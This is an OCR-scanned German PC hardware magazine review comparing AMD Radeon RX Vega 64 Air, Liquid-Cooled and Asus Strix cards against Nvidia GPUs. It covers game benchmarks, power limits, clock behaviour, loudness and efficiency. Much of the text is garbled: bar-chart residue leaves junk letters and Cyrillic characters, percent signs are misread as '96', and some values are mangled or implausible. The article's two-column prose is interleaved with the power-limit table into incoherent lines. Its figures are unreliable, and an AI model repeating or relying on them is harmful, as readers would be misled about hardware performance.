Palit GTX 1080 Ti Super Jetstream VE 55,2 (+45 %) 


Partner, dass AMD noch immer 
keine Vega-56-Packages ausliefere, 


der luftgekühlten Version (Air) zu 
vergleichen. Komplettiert wird die- 


Zotac GTX 1080 Ti Mini satt 54,5 (+43 96) 
Inno 3D GTX 1080 Ti Twin X2 ВН 54,2 (+42 %) 
Nvidia Titan Xp ЖБД 54,1 (+42 %) 
Nvidia Geforce GTX 1080 Ti Bl 50,7 (+33 96) 
Nvidia Titan X (Pascal) awa 50,1 (31 96) 
Vega 64 LCE @ 1.750/1.100 MHz 45,2 (+19 %) 
Vega 64 Strix @ 1.700/1.050 MHz Taal И 44,2 (+16 %) 
Sapphire RX Vega 64 LCE 41,4 (+9 %) 
Nvidia Geforce GTX 1080 sg 40,4 (+6 96) 
Asus RX Vega 64 Strix O8G EB 38,8 (+2 %) 
AMD Radeon RX Vega 64 (Air) EEE 38,1 (Basis) 
AMD Radeon RX Vega 56 (Air) EEE 32,2 (-15 %) 
Nvidia Geforce GTX 1070 git 31,3 (-18 %) 
AMD Radeon R9 Fury X [grt 30,7 (-19 96) 
Nvidia Geforce GTX 980 Ti 38! 29,4 (-23 96) 
Nvidia Geforce GTX 980 33i 24,0 (-37 96) 
AMD Radeon RX 580/8G. [Xm] 22,6 (-41 96) 
Nvidia Geforce GTX 1060/6G 99 8 22,0 (-42 96) 
AMD Radeon RX 480/8G Egi 21,9 (-43 96) 
AMD Radeon R9 390Х gr 21,1 (-45 %) 
Nvidia Geforce GTX 780 Ti gt 20,4 (-46 96) 
AMD Radeon RX 570/46 gin 19,7 (-48 %) 
Nvidia Geforce GTX 970 Egit 19,3 (-49 %) 
AMD Radeon R9 290X Ent 19,3 (-49 %) 
Nvidia Geforce GTX Titan 811 18,9 (-50 96) 
AMD Radeon RX 470/4G m 18,8 (-51 96) 
AMD Radeon R9 390 Emm 18,4 (-52 96) 
AMD Radeon R9 290 n 17,4 (-54 96) 
Nvidia Geforce GTX 780 | 17,1 (-55 96) 
AMD Radeon R9 280X Emm 15,6 (-59 96) 
Nvidia Geforce GTX 770 1311 14,4 (-62 96) 


System: Core i7-6800K @ 4,4 GHz (LLC: 3,6 GHz), X99, 4 x 8 GiB DDR4-3000 (1T); 
Windows 10 x64 Bemerkungen: Messungen nach Aufheizperiode, um realistische 
Boosts zu erhalten. Die Liquid-Cooled-Edition ist mit Abstand die schnellste Vega-Karte. 


Min. Ø 


» Besser 


Fps 


Powerlimits: Vega 64 


wobei sich dies im Laufe des vier- ser Artikel vom Test des ersten Her- | Grafikkarte Board Power | ASIC-Power: | ASIC-Power: | ASIC-Power: 
ten Quartals ändern soll. Mit etwas ` stellerdesigns auf Basis der Radeon (ganze Karte) Balanced Power Save Turbo 
Glück nimmt die Vega-Artenvielfalt RX Vega 64: Branchengröße Asus | ASUS RX Vega -340 Watt 260 Watt 95 Watt 299 Watt 
a г ; AS à š 64 Strix (BIOS 1) 
noch vor Weihnachten deutlich zu. hat mit der Strix eine Eigeninter- Asus RX V 
sus RX Vega 
pretation veröffentlicht. Läuft alles | 64 Strix БС 2) Unbekannt 240 Watt 80 Watt 276 Wa 
Vega 64: Flotter Dreier nach Plan, ist diese Grafikkarte seit 
en 345 w 264 W 98 w, 303W 
Soweit der inoffizielle Status. Fakt Ende Oktober im Handel - bei Re- |64 LC (BIOS 1) att att att att 
ist, dass die „Radeon Packs“-Aktion daktionsschluss am 18. desselben AMD RX Vega em SSC Sot Ge 
Ende September ausgelaufen ist; Monats war sie es noch nicht. 64 LC (BIOS 2) i S а 3 
Käufer eines Referenzdesigns ergo AMD RX Vega 295 W 
: att 220 Watt 65 Watt 253 Watt 
keine Boni wie Spiele oder Rabatte Меда 64 LCE: Referenztest 64 Air (BIOS 1) 
auf Ryzen-Produkte mehr erwarten Beginnen wir mit der Liquid-Editi- » D RX Vega Unbekann 200 Wa 50 Watt 230 Wa 
kónnen. Nichtsdestotrotz sind die on, denn hier sind wir Ihnen den N ALS 2) 
Referenzkarten weiter über die ^ Referenztest schuldig. Wie bereits 56 (BIOS ge 210 Watt 165 Watt 50 Wa 190 Watt 
Partner verfügbar. Das berifft auch in der PCGH 10/2017 ausgeführt, 
AMD RX Vega лы 150 W 35 W. 173 W. 
die mächtigste Vega-Variante, die rechnet das RX-Vega-Flaggschiff |56 (BIOS 2) nbekann а a a 
Liquid-Cooled-Edition, oder kurz mit den höchsten Taktraten und | Bemerkungen: Balanced ist der Standard, wenn die Karte eingebaut wird (fett markiert). 
LCE. Wir konnten zwischenzeitlich ist infolgedessen die schnellste | BIOS 2 muss manuell umgeschaltet werden. ASIC-Power ist die maximale Leistungsaufnah- 
ein Exemplar ergattern, um es mit AMD-GPU: 1.750 MHz sind für den me, die GPU und HBM nutzen dürfen. Dazu addieren sich Spannungswandler & Co. 
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GRAFIKKARTEN | Radeon RX Vega 64: Air vs. Liquid vs. Strix 


Neue PCGH-Benchmarks in 2.560 x 1.440 (WQHD) 


Doom (Vulkan), Nightmare-Preset (forciert), TSSAA 8TX/16:1 AF — „Devil's Dance" 
Radeon RX Vega 64 LCE/8G GSE 153,3 (Basis) 
Geforce GTX 1080 Ti/11G. a 153,2 (0 %) 
Radeon RX Vega 64/8G 98 s 136,5 (-11 96) 


Geforce GTX 1080/8G ss ws 121,8 C21 90) 

Radeon RX Vega 56/8G gaps 113,7 (-26 %) 
Radeon R9 Fury X/4G Eq pu 99,5 (-35 %) 
Geforce GTX 1070/8G Em Eu 93,0 (-39 %) 


Prey, SMAA 2TX/16:1 AF - , Hardware Labs" 
Geforce GTX 1080 Ti/11G. pog Ec 117,3 (+16 %) 
Radeon RX Vega 64 LCE/8G BEES 101,1 (Basis) 

Geforce GTX 1080/86 gg 95,9 (-5 96) 

Radeon RX Меда 64/8G ВЕ 8 93,9 (-7 %) 

Radeon RX Vega 56/8G rein 80,4 (-20 96) 
Geforce GTX 1070/8G [mmn 77,4 (-23 %) 
Radeon R9 Fury X/4G es 76,1 (25 %) 


Sudden Strike 4, max. Details, 133 % Auflösung, Ingame-AA/16:1 AF - „Stalingrad” 


Geforce GTX 1080 Ti/11G. Een 80,3 (+26 %) 
Radeon RX Vega 64 LCE/8G PER 63,6 (Basis) 
Geforce GTX 1080/8G Est 61,4 (-3 96) 
Radeon RX Меда 64/8G. E81] 57,6 (-9 96) 
Radeon RX Vega 56/8G wr 50,9 (-20 %) 
Geforce GTX 1070/8G usi 47,8 (-25 96) 
Radeon R9 Fury ХАС Ea] 47,5 (-25 96) 


Dirt 4, max. Details, 4x MSAA/16:1 AF - , Michigan" 
Radeon RX Vega 64 LCE/8G. BEES 75,7 (Basis) 
Geforce GTX 1080 Ti/11G. ee 74,0 (-2 96) 
Radeon RX Vega 64/8G emn 67,4 (-11 96) 
Geforce GTX 1080/8G. ESS 59,5 (-21 %) 
Radeon RX Vega 56/8G sd 59,0 (-22 96) 
Radeon R9 Fury X/AG Een 50,9 (-33 %) 
Geforce GTX 1070/8G Eun 48,5 (-36 96) 


Project Cars 2, MSAA mittel/16:1 AF — ,,Le Mans" 
Geforce GTX 1080 Ti/1 G mut 75,5 (+30 96) 
Geforce GTX 1080/8С sz 61,2 (+5 %) 
Radeon RX Vega 64 LCE/8G ШЗ 58,2 (Basis) 
Radeon RX Vega 64/8G 8t! 54,4 (-7 %) 
Geforce GTX 1070/8С jm 50,6 (-13 96) 
Radeon RX Vega 56/8G Ear 44,2 (-24 %) 
Radeon R9 Fury X/AG E5391 40,9 (-30 96) 


Quantum Break (DX11), Upscaling an, Ingame-AA/16:1 AF - „Industrial” 
Geforce GTX 1080 Ti/11G. |o 69,7 (+31 96) 
Geforce GTX 1080/8G. agii 56,4 (4-6 96) 
Radeon RX Vega 64 LCE/8G EIS 49,0 (Basis) 

Radeon RX Vega 64/8G [wr 49,0 (-8 96) 
Geforce GTX 1070/8G [39H 44,9 (-15 96) 

Radeon RX Vega 56/8G. 3615 43,8 (-18 96) 
Radeon R9 Fury X/4G är 39,3 (-26 %) 


Mass Effect Andromeda, max. Details, TAA/16:1 AF - „Forlorn Dreams" 
Geforce GTX 1080 Ti/11G. eon 65,9 (+28 96) 
Geforce GTX 1080/8G [8H 52,0 (+1 96) 
Radeon RX Vega 64 LCE/8G. EESTI 51,3 (Basis) 

Radeon RX Vega 64/8G | 45,7 (-11 96) 
Geforce GTX 1070/8G Ez 41,0 (-20 96) 

Radeon RX Vega 56/86 gët 38,5 (-25 %) 
Radeon R9 Fury X/4G В 2918 32,8 (-36 96) 


Hellblade: Senua's Sacrifice, max. Details, TAA/16:1 AF - „Valravn” 
Geforce GTX 1080 Ti/11G. ВЕБ 64,1 (+15 96) 
Radeon RX Vega 64 LCE/8G Pe 55,6 (Basis) 

Geforce GTX 1080/8G Esq 54,2 (-3 96) 

Radeon RX Vega 64/8G |n 51,9 (-7 96) 

Radeon RX Меда 56/8G |] 45,2 (-19 %) 
Radeon R9 Fury X/4G Er 43,0 (-23 96) 
Geforce GTX 1070/8G E39 n 42,7 (-23 96) 


Sniper Elite 4 (DX12) 150 % Res. Scale, Ingame-AA/16:1 AF — „Sniper Woods" 
Geforce GTX 1080 Ti/11G. Egg 59,1 (+8 96) 
Radeon RX Vega 64 LCE/8G EEE 54,5 (Basis) 

Geforce GTX 1080/8G 3g ЕШ 47,7 (-12 96) 

Radeon RX Vega 64/8G Ems 47,3 (-13 96) 

Radeon RX Vega 56/8G ër 42,7 (-22 96) 
Radeon R9 Fury X/4G ВЕД 40,3 (-26 %) 
Geforce GTX 1070/8G. M30 37,2 (-32 96) 


The Witcher 3, max. Hairworks (8x MS)/HBAO-, Ingame-AA/16:1 AF - „Skellige Forest" 
Geforce GTX 1080 Ti/11G. Esq 58,1 (+21 90) 
Geforce GTX 1080/8G wn 48,8 (+2 90) 
Radeon RX Vega 64 LCE/8G WSRKKI 47,9 (Basis) 

Radeon RX Меда 64/8G ISISz:IIIWII$H$IOIIÚWƏO 44,5 (-7 96) 

Radeon RX Vega 56/8G ШЗ 42,2 (-12 96) 
Geforce GTX 1070/8G. 53511 38,1 (-20 96) 
Radeon R9 Fury X/4G ВЕ 2911 31,4 (-34 96) 


Ghost Recon Wildlands, Ultra-Preset, TAA/16:1 AF - „Wild Ride" 
Geforce GTX 1080 Ti/11G. Egg 51,2 (+22 96) 
Geforce GTX 1080/8G |n 43,0 (+2 96) 
Radeon RX Vega 64 LCE/8G IBI 42,0 (Basis) 
Radeon RX Меда 64/8G E3811 39,3 (-6 96) 
Geforce GTX 1070/8G E3211 35,3 (-16 96) 
Radeon RX Меда 56/86 MEEST] 33,7 (-20 %) 
Radeon R9 Fury X/4G E5221] 23,9 (-43 96) 


Total War Warhammer 2, FXAA/16:1 AF – , Amaxon" 
Geforce GTX 1080 Ti/11G. Eun 47,2 (+35 96) 
Geforce GTX 1080/8G. Ear 37,3 (+7 %) 
Radeon RX Vega 64 LCE/8G SII 34,9 (Basis) 
Radeon RX Vega 64/86 EIERN 32,3 (-7 96) 
Geforce GTX 1070/8G ВЕ 2018 29,7 (-15 96) 
Radeon RX Vega 56/8G ШШШ 27,2 (22 96) 
Radeon R9 Fury X/4G E211] 23,6 (-32 96) 


Watch Dogs 2, PCSS/HBAO+ (Zusatzdetails 0%), SMAA T2x/16:1 AF - , Frisco" 
Geforce GTX 1080 Ti/11G. Ear 46,5 (+45 90) 
Geforce GTX 1080/8G ВЕЗИ 36,4 (+13 96) 
Radeon RX Vega 64 LCE/8G В 2818 32,1 (Basis) 
Geforce GTX 1070/8G. ВЕ 298 30,7 (-4 96) 
Radeon RX Vega 64/8G äer 29,9 (-7 96) 
Radeon RX Меда 56/8G ШЕ 218 25,5 (-21 96) 
Radeon R9 Fury X/4G FEW 25,4 (-21 96) 
СТА 5, max. Det. (Gras „Ultra”, Schatten „Am weichsten"), 4x MS/16:1 AF - „Grapeseed" 
Geforce GTX 1080 Ti/11G MESSE 39,6 (+12 96) 
Radeon RX Vega 64 LCE/8G. ВЕД 35,5 (Basis) 
Geforce GTX 1080/8G MEEST] 34,5 (-3 96) 
Radeon RX Меда 64/8G ВЕ ЗО 32,8 (-8 96) 
Geforce GTX 1070/8G. ВЕ 298 29,2 (-18 96) 
Radeon RX Vega 56/8G ШЕ 2611 28,5 (-20 96) 
Radeon R9 Fury X/4G ВШ 2311 25,4 (-28 %) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1703), HQ-AF, RS 17.9.1 Beta, СЕ 385.69 WHQL MiMi 2 Fps 
Bemerkungen: Wir verzichten auf die Full-HD-Auflösung, da hier bei den schnellsten Grafikkarten ein partielles Prozessorlimit wirkt. In WQHD schlägt sich Vega gut, die LCE duelliert sich mit der GTX 1080 FE. » Besser 
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Radeon RX Vega 64: Air vs. Liquid vs. Strix | GRAFIKKARTEN 


Neue PCGH-Benchmarks in 3.840 x 2.160 (Ultra HD) 


Doom (Vulkan), Nightmare-Preset (forciert), TSSAA 8ТХ/16:1 АЕ — ,,Devil's Dance” 
Geforce GTX 1080 Ti/11G Ez E 80,8 (+3 %) 
Radeon RX Vega 64 LCE/8G ma S65SEEGEBi 78,3 (Basis) 

Radeon RX Vega 64/8G 69,6 (-11 96) 
Geforce GTX 1080/8С usan 63,9 (-18 96) 

Radeon RX Vega 56/8G gg pou 57,9 (-26 96) 
Radeon R9 Fury X/4G Eau 51,6 (-34 %) 
Geforce GTX 1070/8G. ug ШЕШ 48,8 (-38 96) 


Prey, SMAA 2TX/16:1 AF - , Hardware Labs" 
Geforce GTX 1080 Ti/11G. EX 56,7 (+15 96) 
Radeon RX Vega 64 LCE/8G. ES 49,1 (Basis) 

Radeon RX Vega 64/8G Em 45,6 (-7 96) 
Geforce GTX 1080/8G. ag li 44,4 (-10 96) 

Radeon RX Vega 56/86 3e 39,3 (-20 %) 
Radeon R9 Fury X/4G 83518 38,0 (-23 96) 
Geforce GTX 1070/8G. gt 36,3 (-26 %) 


Sudden Strike 4, max. Details, 133 % Auflösung, Ingame-AA/16:1 AF - „Stalingrad” 
Geforce GTX 1080 Ti/1 G Em 44,6 (+30 96) 
Geforce GTX 1080/8С Eau 34,6 (+1 96) 
Radeon RX Vega 64 LCE/SG EB 34,2 (Basis) 

Radeon RX Vega 64/8G |o 32,2 (-6 %) 

Radeon RX Vega 56/8G. sim 27,6 (-19 96) 
Geforce GTX 1070/8G. cet 26,7 (-22 96) 
Radeon R9 Fury X/AG Est 25,8 (-25 96) 


Dirt 4, max. Details, 4x MSAA/16:1 AF - , Michigan" 
Geforce GTX 1080 Ti/11G Eat 46,3 (+13 96) 
Radeon RX Vega 64 LCE/8G. EE 40,8 (Basis) 

Geforce GTX 1080/8С sh 36,6 (-10 96) 

Radeon RX Vega 64/8G Esq] 36,5 (-11 96) 

Radeon RX Vega 56/8G 3g 32,5 (-20 %) 
Radeon R9 Fury X/4G grt 30,5 (-25 %) 
Geforce GTX 1070/8G. Eae 23,7 (-30 %) 


Project Cars 2, MSAA mittel/16:1 AF — ,,Le Mans" 
Geforce GTX 1080 Ti/11G. |t 50,0 (4-24 96) 
Geforce GTX 1080/8G gH 40,8 (+1 96) 
Radeon RX Vega 64 LCE/8G. ER 40,2 (Basis) 

Radeon RX Vega 64/8G ein 38,2 (-5 %) 
Geforce GTX 1070/8G x 33,9 (-16 90) 

Radeon RX Vega 56/8G. MEMEEZ 30,9 (-23 96) 
Radeon R9 Fury X/4G E98 27,7 (-31 96) 


Quantum Break (DX11), Upscaling an, Ingame-AA/16:1 AF - „Industrial” 
Geforce GTX 1080 Ti/11G. Ems 41,4 (+35 %) 
Geforce GTX 1080/8G Eat] 32,4 (+6 96) 
Radeon RX Vega 64 LCE/8G. EZ] 27,9 (Basis) 

Radeon RX Vega 64/8G. ШШШ 27,9 (-9 90) 
Geforce GTX 1070/8G Esth 25,5 (-17 96) 

Radeon RX Vega 56/8G |a 25,0 (-19 90) 
Radeon R9 Fury X/4G Eis 23,6 (-23 96) 


Mass Effect Andromeda, max. Details, TAA/16:1 AF - „Forlorn Dreams" 
Geforce GTX 1080 Ti/11G. Eam 35,1 (+30 %) 
Radeon RX Vega 64 LCE/8G IEEE 26,9 (Basis) 

Geforce GTX 1080/8G |a 26,8 (0 96) 

Radeon RX Vega 64/8G amus 24,0 (-11 96) 
Geforce GTX 1070/8G. Er] 20,8 (-23 96) 

Radeon RX Vega 56/8G MESIN 20,2 (-25 96) 
Radeon R9 Fury X/4G Ш 58 17,6 (-35 96) 


Hellblade: Senua's Sacrifice, max. Details, TAA/16:1 AF - , Valravn" 
Geforce GTX 1080 Ti/11G. ЗО 32,7 (+16 %) 
Radeon RX Vega 64 LCE/8G GIL 28,3 (Basis) 

Geforce GTX 1080/8G. 3511 26,8 (-5 96) 

Radeon RX Vega 64/8G E38! 26,4 (-7 %) 

Radeon RX Vega 56/8G || 22,9 (-19 96) 
Radeon R9 Fury ХАС Eni 22,8 (-19 %) 
Geforce GTX 1070/8G [30 21,0 (-26 96) 


Sniper Elite 4 (DX12) 150 % Res. Scale, Ingame-AA/16:1 AF — „Sniper Woods" 
Geforce GTX 1080 Ti/11G. |a 31,0 (+21 %) 
Radeon RX Vega 64 LCE/8G ШЕ I 25,6 (Basis) 

Geforce GTX 1080/8G. gres 23,9 (-7 90) 

Radeon RX Vega 64/8G 8 22,2 (-13 96) 

Radeon RX Vega 56/8G ШШЕ 20,4 (-20 96) 
Geforce GTX 1070/8G. ШИШЕ 18,8 (-27 %) 
Radeon R9 Fury X/4G Eis 8 17,9 (-30 96) 


The Witcher 3, max. Hairworks (8x MS)/HBAO-, Ingame-AA/16:1 AF - „Skellige Forest" 
Geforce GTX 1080 Ti/11G. EXE 36,3 (+23 96) 
Radeon RX Vega 64 LCE/8G BERI! 29,4 (Basis) 

Geforce GTX 1080/86 |t 29,1 (-1 90) 

Radeon RX Меда 64/8G. 38i 27,3 (-7 %) 

Radeon RX Vega 56/8G Ж ШШШ 25,4 (-14 96) 
Geforce GTX 1070/8G. Ent 22,7 (-23 96) 
Radeon R9 Fury X/4G EEE 20,6 (-30 96) 


Ghost Recon Wildlands, Ultra-Preset, TAA/16:1 AF - „Wild Ride" 
Geforce GTX 1080 Ti/11G. MEEME 33,8 (+21 96) 
Radeon RX Vega 64 LCE/8G. EEG 23,0 (Basis) 

Geforce GTX 1080/8G wp 27,7 (1 %) 

Radeon RX Меда 64/86 |t 26,1 (-7 96) 
Geforce GTX 1070/8G [amt 22,8 (-19 96) 

Radeon RX Меда 56/8G | 22,6 (-19 96) 
Radeon R9 Fury X/4G ШЕ 318 15,0 (-46 96) 


Total War Warhammer 2, FXAA/16:1 AF - , Amaxon" 
Geforce GTX 1080 Ti/11G. Ew 27,3 (+34 96) 
Geforce GTX 1080/8G MEMAN 21,4 (+5 96) 
Radeon RX Vega 64 LCE/8G ISI 20,4 (Basis) 
Radeon RX Меда 64/8G e S 18,9 (-7 96) 
Radeon RX Vega 56/8G MESIH 15,5 (-24 96) 
Geforce GTX 1070/8G БЕШИН 14,2 (-30 96) 
Radeon R9 Fury X/4G БШШ 14,1 (-31 96) 


Watch Dogs 2, PCSS/HBAO+ (Zusatzdetails 0%), SMAA T2x/16:1 AF - , Frisco" 
Geforce GTX 1080 Ti/11G. E351 28,2 (4-60 96) 
Geforce GTX 1080/8G. ВЕ 21,4 (+22 96) 
Geforce GTX 1070/8G. ШЕ 18,0 (+2 96) 
Radeon RX Vega 64 LCE/8G В 17,6 (Basis) 

Radeon RX Меда 64/8G EAN 16,3 (-7 96) 

Radeon RX Vega 56/8G Ш ЗІ 14,5 (-18 96) 
Radeon R9 Fury X/4G ШЕЙШ 12,5 (-29 96) 


GTA 5, max. Det. (Gras „Ultra”, Schatten „Am weichsten"), 4x MS/16:1 AF - „Grapeseed" 
Geforce GTX 1080 Ti/11G Et 25,6 (+24 96) 
Geforce GTX 1080/8С 3011 21,1 (+2 96) 
Radeon RX Vega 64 LCE/8G. ШЕИ 20,7 (Basis) 
Radeon RX Vega 64/8G [m 19,1 (-8 96) 
Geforce GTX 1070/8G. ВЕІ 17,4 (-16 96) 
Radeon RX Меда 56/8G MEESI] 16,6 (-20 96) 
Radeon R9 Fury X/4G ВЗ 12,6 (-39 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1703), HQ-AF, RS 17.9.1 Beta, GF 385.69 WHQL 
Bemerkungen: Sowohl die Vega 64 Liquid als auch die GTX 1080 kámpfen mit spielbaren Bildraten, etwas Detailverzicht ist ratsam. Im Mittel làuft es auf einen Gleichstand der Grafikkarten hinaus. » Besser 
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Taktverlauf: AMD Radeon RX Vega 64 Air (20 Minuten Volllast) 


Radeon RX Vega 64 Air in Anno 2070 (maximale Details, Ultra HD) - Spielstand „Ват!“ 
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System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1703), Radeon Software 17.10.1 (HQ-AF) Bemerkungen: Der Referenz-Luftkühler lässt die GPU 
binnen weniger Minuten dauerhaft am Temperaturlimit von 85 °C arbeiten. Das , Turbo"-Setting führt zu noch rascherer Erwärmung und, wegen des „Todeskampfes” gegen die Hitze, einem stark schwankenden Takt. 


Taktverlauf: Asus Radeon RX Vega 64 Strix (20 Minuten Volllast) 


Radeon RX Vega 64 Strix in Anno 2070 (maximale Details, Ultra HD) - Spielstand „Ват!“ 
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System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1703), Radeon Software 17.10.1 (HQ-AF) Bemerkungen: Der Strix-Kühler hat den Vega-10-Chip 
wesentlich besser im Griff als das AMD-Design. Doch auch hier führt die , Turbo" Einstellung vor allem zu größerer Hitze, während der Boost infolgedessen wild schwankt und im Mittel kaum zulegt. 


Taktverlauf: AMD Radeon RX Vega 64 Liquid-Cooled-Edition (20 Minuten Volllast) 


Radeon RX Vega 64 LCE in Anno 2070 (maximale Details, Ultra HD) - Spielstand „Ват!“ 
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System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1703), Radeon Software 17.10.1 (HQ-AF) Bemerkungen: Zwar ist auch die Vega 64 LCE powerli- 
mitiert, ihr Takt ist jedoch konsequent höher als bei den luftgekühlten Karten. Sie kann als einziges Vega-Modell vom , Turbo" Modus profitieren, ohne dass der Takt schwankt — das ist dem starken Kühler zu verdanken. 
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850 | 750 | 650 | 550 W 


höchsten Powerstate hinterlegt. 
Dieser wird jedoch nur bei gerin- 
ger Last verwendet, üblich sind tie- 
fere Frequenzen. AMD gibt einen 
typischen Boost von 1.677 MHz an, 
welcher gemäß unserer Tests vali- 
de anmutet, allerdings wirklich nur 
als Mittelwert über diverse Spiele 
und Auflösungen. Je größer die 
Last, desto geringer der Boost, das 
gilt für alle Vega-Grafikkarten. Die 
LCE wirkt diesem Symptom nicht 
nur mithilfe starker Kühlung entge- 
gen, sondern auch mittels ihrer auf 
345 Watt erhöhten Boardpower. 
Die 50 zusätzlichen Watt gegen- 
über der Air-Version erlauben es 
der Karte, unter Volllast standhaf- 
ter zu sein. Der niedrigste von uns 
ermittelte Takt wird, wie immer, in 
Anno 2070 bei Ultra-HD-Auflösung 
erreicht, hier fällt unser Muster auf 
1.520 MHz. Die Vega 64 Air landet 
bei 1.370 MHz und die Vega 56 
stürzt sogar auf 1.250 MHz ab. 


In anderen Spielen sind ähnliche 
Differenzen zu verzeichnen, wel- 
che sich direkt auf die Bildrate aus- 
wirken. Im PCGH-Leistungsindex 
kann sich die Vega 64 Liquid von 
ihrer Air-Schwester somit deutlich 
distanzieren, insgesamt steht es 
79,8 zu 74,4 Indexpunkten. Der 
7,3-prozentige Abstand vergrößert 
sich mit steigender Auflösung, in 
WOHD sind es 8,3 und in Ultra HD 


sogar 9,5 Prozent. Unter dem Strich 
kann sich die AMD-Speerspitze mit 
der Geforce GTX 1080 messen, in 
einigen Spielen auch mit werk- 
seitig übertakteten Versionen. So- 
mit erreicht die RX Vega 64 Liquid- 
Cooled-Edition das obere Ende des 
von uns erwarteten Spektrums 
(siehe PCGH 10/2017, Seite 44). 


Auch die Leistungsaufnahme ran- 
giert auf dem erwarteten Niveau. 
Während unserer Messungen reizt 
sich die Vega 64 LCE konsequent 
selbst aus, da das Temperaturli- 
mit aus der Rechnung genommen 
wird. So kommt es zu den hohen 
Werten zwischen 352 Watt (Crysis 
3) und 357 Watt (Worstcase). Die 
daraus resultierende Energie-Effizi- 
enz fällt gegenüber der Vega 64 Air 
schwächer aus. Beachten Sie dazu 
die Tabelle auf der nächsten Seite. 


Umso überraschter waren wir, 
wie leise die Vega 64 LCE arbeitet. 
Im Leerlauf ist lediglich ein leises 
Sirren zu hören, welches von der 
Pumpe ausgestrahlt wird - kein 
Vergleich mit dem Tinnitus-artigen 
Fiepen der ersten Fury-X-Charge. 
Unter Last dreht der 120-Millime- 
terLüfter des Single-Radiators 
präventiv auf, bevor der Grafik- 
chip wirklich warm wird. Die ma- 
ximale Drehzahl während unserer 
Tests beträgt 1.770 U/Min (54 % 


AMD RX Vega 64 LCE: Am Heck der Karte findet sich ein Schalter, um die Farbgebung 
der Beleuchtung zu verändern. Zwei 8-Pol-Buchsen sind indes Pflicht. 


RX Vega 64 Strix: Asus montiert um 180 Grad gedrehte Strombuchsen, was den spä- 
teren Ausbau erleichtert. Als Bonus finden sich hier auch Spannungsmesspunkte. 


Lautheit und Leistungsaufnahme im Vergleich 


Radeon RX Vega | Radeon RX Vega | Radeon RX Vega Radeon R9 Geforce GTX Geforce GTX Geforce GTX Geforce GTX 
64 LCE (Ai0) 64 Air (DHE) 56 (DHE) Fury X (Ai0) 1080 Ti (DHE) 1080 (DHE) 1070 (DHE) 980 Ti (DHE) 

Lautstärke 
Leerlauf (Desktop) 0,3 Sone 0,2 Sone 0,2 Sone 1,3 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 
2 LCDs (UHD + FHD) 0,3 Sone 0,2 Sone 0,2 Sone 1,3 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 
UHD-Youtube-Video 0,3 Sone 0,2 Sone 0,2 Sone 1,3 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 
Crysis 3 (Full HD) 1,3 Sone 4,9 Sone 4,9 Sone 1,4 Sone 2,8 Sone 3,1 Sone 2,7 Sone - 
Anno 2070 (Ultra HD) 1,8 Sone 4,9 Sone 4,9 Sone 1,6 Sone 4,0 Sone 3,2 Sone 2,9 Sone 4,5 Sone 
Leistungsaufnahme 
Leerlauf (Desktop) 19 Watt 14,5 Watt 15 Watt 21 Watt 12,5 Watt 9,5 Watt 8,5 Watt 15 Watt 
2 LCDs (UHD + FHD) 19,5 Watt 15 Watt 15,5 Watt 25 Watt 15 Watt 11,5 Watt 11,5 Watt 20 Watt 
UHD-Youtube-Video 29 Watt 26 Watt 26 Watt 55 Watt 19 Watt 12 Watt 12 Watt 21 Watt 
Crysis 3 (Full HD) 352 Watt 288 Watt 216 Watt 250 Watt 225 Watt 175 Watt 149 Watt 230 Watt 
Anno 2070 (Ultra HD) 355 Watt 289 Watt 216 Watt 313 Watt 230 Watt 171 Watt 148 Watt 234 Watt 
Jeweils gerundete Werte. Bei allen Karten gelten die Standardeinstellungen bezüglich Powertarget (Nvidia) und Powertune-Limit (AMD). 
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Crysis 3, Fps Watt Watt pro 
Full HD Frame 
GTX 1080 Ti FE | 124 | 225 1,81 
GTX 1080 FE 95 | 175 1,84 
GTX 1070 FE 80 | 149 1,86 
GTX 980 Ti 76 | 230 3,03 
Vega 56 69 | 216 3,13 
R9 Fury X 67 | 250 3,73 
Vega 64 Air 75,5 | 288 3,81 
Vega 64 Strix 78 | 313 4,01 
Vega 64 LCE ЖБ 352 4,40 
Anno 2070, Fps | Watt | Watt pro 
Ultra HD Frame 
GTX 1080 FE 44 | 171 3,89 
GTX 1080 Ti FE | 56 | 230 4,11 
GTX 1070 FE 35 | 148 4,23 
Vega 56 22 | 216 6,75 
GTX 980 Ti 33 | 224 6,78 
Vega 64 Air 39 | 29 7,61 
Vega 64 Strix 39 | 318 8,15 
Vega 64 LCE 41 | 355 8,66 
R9 Fury X 31 | 327 10,55 
Alle Grafikkarten mit Standardeinstellungen 
hinsichtlich des Powerlimits getestet („Ва- 
lanced" bei Vega-Chips). 


Laufleistung), der Lüfter beruhigt 
sich nach dem anfänglichen Hoch 
jedoch schnell und brummt an- 
schließend leise vor sich hin. Die 
maximale Lautheit der RX Vega 
64 LCE beträgt 1,9 Sone, was an- 
gesichts des immensen Kühlauf- 
wandes Lob verdient. Dabei hat 
das Design noch Luft nach oben, 
die GPU überschreitet niemals ihr 
eingestelltes Temperaturziel von 
65 Grad Celsius. Apropos Design: 
Die Materialqualität der LCE ist 
dank des breitflächigen Einsatzes 
eloxierten Aluminiums erstklassig, 
der haptische Eindruck exzellent. 


Erwähnenswert ist weiterhin das 
Spulenfiepen: Subjektiv ist es lauter 
als bei den luftgekühlten Vega-Kar- 
ten, faktisch tritt das Störgeräusch 
aber nur in den Vordergrund, da 
der Rest des Kühlers so leise arbei- 
tet. Fazit: Die Vega 64 LCE ist die 
schnellste und leiseste Vega-Grafik- 
karte, allein die hohe Leistungsauf- 
nahme stört (siehe Tabelle). Under- 
volting lindert die Beschwerden. 


Asus Radeon RX Vega 64 Strix 08G: 
